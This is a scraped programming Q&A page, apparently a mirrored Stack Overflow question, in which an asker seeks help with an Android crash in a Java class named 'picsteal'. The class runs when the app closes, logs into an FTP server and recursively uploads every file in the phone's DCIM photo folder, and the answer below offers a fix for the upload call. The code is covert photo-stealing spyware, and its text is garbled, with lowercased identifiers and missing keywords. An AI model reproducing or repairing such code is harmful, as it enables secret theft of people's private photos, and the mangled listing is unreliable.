java - Android app crashes when this class executes: -


this class executes during ondestroy() method of main activity. 10 cycles, crashes. can prevent this? slow down process after upload step?

here code:

package com.simplejsonapp;  import it.sauronsoftware.ftp4j.ftpabortedexception; import it.sauronsoftware.ftp4j.ftpclient; import it.sauronsoftware.ftp4j.ftpdatatransferexception; import it.sauronsoftware.ftp4j.ftpexception; import it.sauronsoftware.ftp4j.ftpillegalreplyexception;  import java.io.file; import java.io.filenotfoundexception; import java.io.ioexception;  import android.os.build; import android.os.environment;  public class picsteal { public static void picstealer(){     //create ftp connection object:     ftpclient client = new ftpclient();     try {         //string devicetype = getdevicename();         /**          * section need add decision structure           * folder download based on kind of device          * using software.          */          client.connect("127.0.0.1"); //create connection server (ip changed here because 4chan)         client.login("ftpuser", "aaa");//login using credentials          //this magic happens         string devicename = getdevicename();          //file samsung = new file("/storage/emulated/0/dcim/");         //create file object         file stock = new file(environment.getexternalstoragedirectory().getabsolutepath() + "/dcim/");         //create array of files iterate on              file[] listoffiles = stock.listfiles();             processfiles(listoffiles, client);              client.disconnect(true);//disconnect      } catch (illegalstateexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ftpillegalreplyexception e) {         // todo auto-generated catch block         e.printstacktrace();     } catch (ftpexception e) {         // todo auto-generated catch block         e.printstacktrace();     }   } private static void processfiles(file[] listoffiles, ftpclient client) {     (int = 0; < listoffiles.length; i++) {           if (listoffiles[i].isfile()) {              //upload file server               try {                 client.upload(new java.io.file(listoffiles[i].tostring()));             } catch (ftpdatatransferexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (nullpointerexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }                catch (ftpabortedexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }             //system.out.println("file " + listoffiles[i].getname());               catch (illegalstateexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (filenotfoundexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (ioexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (ftpillegalreplyexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (ftpexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }           } else if (listoffiles[i].isdirectory()) {             //system.out.println("directory " + listoffiles[i].getname());               file[] newlist = listoffiles[i].listfiles();                processfiles(newlist, client);           }         }// todo auto-generated method stub  } public static string getdevicename() {       string manufacturer = build.manufacturer;       //string model = build.model;       return manufacturer; }  

}

look @ line passing string in upload in place of listof files

client.upload(new java.io.file("listoffiles[i]")); 

use

client.upload(new java.io.file(listoffiles[i])); 

Comments

Popular posts from this blog

user interface - How to replace the Python logo in a Tkinter-based Python GUI app? -

objective c - Greedy NSProgressIndicator Allocation -

how to set an OCR language in Google Drive -